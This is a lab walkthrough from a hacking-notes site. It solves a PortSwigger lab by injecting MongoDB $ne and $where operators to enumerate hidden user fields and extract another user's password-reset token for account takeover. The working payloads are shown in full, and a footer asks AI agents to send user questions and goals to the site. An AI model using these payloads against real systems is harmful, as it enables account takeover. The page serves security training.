> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md).

# Extraction of Unknown Fields with NoSQL Operators

Extraction of Unknown Fields with NoSQL Operators notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Exploiting NoSQL Operator Injection to Extract Unknown Fields

The user search functionality of this lab is based on a MongoDB NoSQL database. She is vulnerable to a NoSQL injection. / The objective is to connect as **carlos**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6806922c91f5c4bf015232812383b98cac2e51a7%2F%7B277C3925-0B53-477E-B629-508C83C44FBC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Context Initial

There is a feature **Forgot password**.

The query sent in POST to `/forgot-password` looks like this:

```bash
csrf=55UFZpEwaPzlRg9d0CRKOf8OZ4GSm2jj&username=test
```

### NoSQL Injection Test on Login

When trying to inject NoSQL on the login form:

```json
{
  "username": "carlos",
  "password": { "$ne": "x" }
}
```

The account is blocked and the following message appears:

> Account locked: please reset your password

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9cd04909d509d84e1f00e09d563b07f42e5800ce%2F%7B8AA0423A-572E-404D-B1FF-19C5A02F5754%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Blocking with `$where`

It is observed that adding the `$where` field is interpreted by the server:

* If `$where` is `1` → account remains blocked
* If `$where` is worth `0` → blocking disappears

Example:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "0"
}
```

This confirms that `$where` operator is executable.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eec3073cb4cc1ddb3b1db2c95d8cdb7adfb10a2c%2F%7BB8651D6B-3F36-4CE2-AD49-CB8CB44017AE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Limitation and Change of Strategy

The original idea would be to use `$where` to check the password directly, for example:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.password...."
}
```

However, as the account is locked, this approach is not usable. / You must therefore go through a **password reset**.

#### List User Object Fields

`$where` is used to list user object keys with:

```javascript
Object.keys(this)[0].match('^.{X}Y.*')
```

Full request:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "Object.keys(this)[0].match('^.{X}Y.*')"
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df8897d4e9994215750484bb1423c89742e269d5%2F%7B626A5E1E-79DD-4597-B2F4-D52E1D7A1818%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* `X`: character position (0-20)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31f80c4b992e774b926e4e42defbbed2b1b53b51%2F%7BB85296EB-95BD-4E53-936F-0741163612E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* `Y`: tested characters (`a-z`, `A-Z`, `0-9`)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f95ca644e8d4aae3711c9191bbadf902e5fa10f%2F%7B9219D408-EF68-4991-BDB1-05189A5307A2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Attack sent via **Intruder** with **Cluster Bomb**

#### Results of Field Enumeration

Based on the length of the response (**Content-Length**):

* `Object.keys(this)[0]` → `id`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c03ee2adf336ef64c3b461112d27ee795acbedd%2F%7B202435A4-9CD7-4050-8883-7D51CD681489%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
"$where": "Object.keys(this)[1].match('^.{X}Y.*')"
```

* `Object.keys(this)[1]` → `username`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5767e1199712e085752c0a87b31e76c7f3a82f0%2Fimage%20(84).png?alt=media" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[2]` → `password`

```javascript
"$where": "Object.keys(this)[2].match('^.{X}Y.*')"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a69b8a7cb93ab79495a26a461d147241b5de92d%2Fimage%20(85).png?alt=media" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[3]` → `email`
* `Object.keys(this)[4]` → `passwordReset`

" The `passwordReset` field only appears if a password reset has been triggered for **carlos**.

```javascript
"$where": "Object.keys(this)[4].match('^.{X}Y.*')"
```

#### Confirmation of the `passwordReset` Field

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6740c42fa6f37ecd9b5ee9a201868ef97684d393%2Fimage%20(86).png?alt=media" alt=""><figcaption></figcaption></figure>

Access to the endpoint:

```bash
/forgot-password?passwordReset=
```

Answer:

> Invalid token

The field exists

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d57f1270f09d0560eecc9943ba102e73e82c15e%2F%7B278D99E9-61E8-4B8A-A82A-2676DB490B81%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### List of Token `passwordReset`

The value of the token is then extracted:

```javascript
"$where": "this.passwordReset.match('^.{X}Y.*')"
```

```javascript
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.passwordReset.match('^.{X}Y.*')"
}
```

* `X`: character position
* `Y`: possible characters

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88d2018008ed282eab0a014904aa320650071204%2F%7BA83C7CEC-440F-4296-9542-64CFD169FC13%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Send via **Intruder** (Cluster Bomb)

#### Result

The **carlos** reset token is recovered:

```bash
5d252f7e28f468ee
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88d2018008ed282eab0a014904aa320650071204%2F%7BA83C7CEC-440F-4296-9542-64CFD169FC13%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Final Exploitation

With this token, you can access the password reset feature and set a new password for **carlos**, allowing you to log in to your account and validate the lab.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea93586af3d243099e454613b90f649a52c3eb2d%2F%7BC19B93CE-1FAA-4E77-858C-B69A6E6450CC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
